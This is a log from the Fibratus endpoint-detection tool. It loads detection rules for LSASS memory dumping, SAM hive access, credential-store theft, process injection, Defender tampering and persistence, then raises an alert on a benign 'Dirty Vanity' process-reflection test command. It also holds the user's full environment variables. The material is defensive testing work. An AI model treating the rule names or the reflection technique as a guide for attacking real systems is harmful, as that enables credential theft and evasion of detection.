PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T19:58:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:58:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:58:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:10:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_via_reflected_process.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:10:06+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T20:10:06+01:00 level=info msg=bootstrapping with pid 20132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T20:10:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-thread=>true enable-image=>true enable-mem=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-net=>true enable-handle=>false enable-vamap=>true max-buffers=>36 flush-interval=>1s enable-threadpool=>false enable-registry=>true buffer-size=>512 enable-fileio=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 max-backups=>15 formatter=>text level=>info] + output ......................... [ http=>[ enabled=>false method=>POST enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json timeout=>5s] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s enabled=>false gzip-compression=>false sniff=>false bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus timeout=>5s healthcheck=>true] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient enabled=>false routing-key=>fibratus exchange-type=>topic vhost=>/ passive=>false timeout=>5s durable=>false url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T20:10:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:10:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:10:27+01:00 level=info msg=sending alert: [Suspicious child spawned via reflected process]. Text: Event(s): + Seq: 4568921 + Pid: 7412 + Tid: 4384 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:10:26.9564819 +0100 CET + Params: cmdline➜ "C:\WINDOWS\regedit.exe" , directory_table_base➜ 31b2f8000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\regedit.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506f8e350c0, name➜ regedit.exe, pid➜ 1264, ppid➜ 7412, real_ppid➜ 7412, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:10:26.956415 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: Suspicious child spawned via reflected process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 17731234898733170688 + + Pid: 7412 + Ppid: 9748 + Name: regedit.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4569963 + Pid: 1264 + Tid: 9792 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:10:26.9694002 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 38b668000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506f89020c0, name➜ cmd.exe, pid➜ 18908, ppid➜ 1264, real_ppid➜ 1264, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:10:26.9692851 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 17731234898733170688, rule.name: Suspicious child spawned via reflected process, tactic.id: TA0005 + + Pid: 1264 + Ppid: 7412 + Name: regedit.exe + Parent name: regedit.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: "C:\WINDOWS\regedit.exe" + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files 